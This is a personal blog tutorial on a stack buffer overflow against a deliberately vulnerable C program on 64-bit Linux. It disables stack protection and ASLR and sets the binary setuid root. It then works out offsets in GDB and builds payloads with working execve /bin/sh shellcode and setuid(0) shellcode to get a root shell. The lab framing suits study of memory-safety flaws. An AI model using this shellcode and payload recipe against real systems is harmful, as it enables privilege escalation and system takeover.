Buffer Overflow attack

Derick Neriamparambil
6 min readJun 28, 2020

--

I just did a subject Secure programming. In the subject, along with coding, I was introduced to different buffer overflow scenarios. I was introduced to stack overflow, heap overflow, and techniques to mitigate them. In this blog, I will show how to do a stack overflow attack on a 64bit operating system.

Let’s get a small basic understanding first

How is memory managed?

When a program is run by an operating system, we are in some shell. The OS will effectively call the main method of the code. The codes, executables, will be held in memory in a very specific as mentioned below.

Kernel — Section storing command line parameters that we pass to the program and environment variables.

Stack — Stack holds local variables, function parameters, and return addresses for each of your functions. We will come back to it in more detail just in a minute.

Heap — Dynamically allocated memory for large chunks of data. The heap grows upwards in memory (from lower to higher memory addresses) as more and more memory is required.

Data — Place for initialized and uninitialized variables.

Text — This is the section where the code of the executable stored. It is often read-only cause you don’t want to be messing around with that ;)

Lets now focus on to stack area. When a function is called, the stack will be having some area for storing the code. This code will do the operation and returns to where it was in the memory.

The above image shows the position of parameters a, b, and how it is added to the stack. The right-most region is the assembler code for this function and it will make the call and execute with these parameters somewhere in the memory.

consider the below snippet

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[150];
strcpy(buffer,argv[1]);
printf(“Input read: %s\n”,buffer);
return 0;
}

This is a very simple code that allocates some memory on stack and copies a string into it from the command line. In the code, we have allocated a buffer which is 150 characters long and then we call a function string copy (strcpy).

Our function puts a return address which is replacing the code we need to go back to once we have done strcpy.

If we write something which is longer than 150, the buffer will be going to pass the limit and crucially over the return variable. which we shouldn’t be doing.

I had made a file named buffer.c with the above snippet.

For effective analysis, I used GDB which is the Linux command line debugger. Using GDB I was able to go more deeply into the assembly and low-level Linux stuffs.

Here I am running a 64 bit Parrot OS

Let’s compile the code with few flags. We are disabling a few protection mechanisms here.

gcc -fno-stack-protector -z execstack buffer.c -o buffer

Now, let’s set the “setuid” bit to our binary file buffer.

The chown command is used to change the owner and group of files, directories, and links. Here I set root as the owner

Using chmod +s on a directory changes the user/group as which you “execute” the directory.

We also have to turn off the ASLR.

ASLR-Address Space Layout Randomization

sudo nano /proc/sys/kernel/randomize_va_space

By setting it to 0, we will get a constant address throughout

let’s execute the binary file.

Next, we are going to load our binary in GDB. We will be using Intel assembly syntax here. On running ‘disas main’ on gdb, we found the assembler code for buffer function.

Form this, we will get an idea of what’s happening on the stack when we execute the program.

From the above figure and our disassembly, out input argv[1] is copied into buffer[150] which is growing towards the kernel space. So we can confirm that if we are copying something larger than the space available, then it will overwrite memory addresses including the base pointer and return.

From the gdb output, we can see that the buffer starts at rbp-0xa0. 0xa0 is equal to 160. 10 bytes is alignment space here.

Since we are using 64 bit OS, the next 8 bytes, which is 64 bits will be rbp.

here

buffer = 150 bytes

alignment = 10 bytes

rbp=8bytes

total= 168 bytes

we will be using python for printing the characters

0x7ffeb95144e8 //trying with 167 bytes

now let’s try with 168 bytes

Photo by Joe Green on Unsplash

We got a segmentation fault!!!

Now let us develop the payload!

With shellcode, we can execute “/bin/sh”. While creating the shellcode we have to make sure that there are no null bytes in between. Strcpy() will stop its function when it encounter with a null byte.

here is the shellcode which is 24 bytes long.

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

We have 150 bytes for our 24 bytes shellcode.

150–24=126bytes

we also need some characters to overwrite the alignment space(10 bytes).

payload= ‘d’* 126 + shellcode(24) + ‘p’*10 + ‘q’*8 + return address

python -c “print ‘d’*126+’\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'+’p’*10+’q’*8+’r’*6”)

Now, let’s dump some memory from the buffer and figure out the return address.

x/100x $rsp-200

The above code will dump 100*4 bytes from the memory location of rsp-200 bytes in hex form.

We can see a lot of ‘d’ (0x64), ‘p’(0x70), q(0x71)’, and ‘r’(0x72). Here I will be replacing the return address with the address of shellcode. The return address will be

0x7fffffffdee8+0x4=0x7fffffffdeec

Since our CPU is following little-endian, it means we have to place our address in reverse order.

the address will look like

\xec\xde\xff\xff\xff\x7f

Lets but the return address in our payload

r $(python -c “print ‘d’*126+’\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'+’p’*10+’q’*8+’\xec\xde\xff\xff\xff\x7f’”)

We got the user. But to complete the attack we need to get the root.

Here, we will be replacing the shellcode and make it execute setuid(0) and the /bin/sh. A 48-bit long shell will be used.

\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05

now let’s do some python scripting

since the shellcode is 48 bytes long, I created buff with 102 bytes.

On executing this python script lets see what’s happening

You can access all documents related to this blog in the following GitHub link.

You can connect me on

LinkedIn: Derick N

Twitter: Derick N

--

--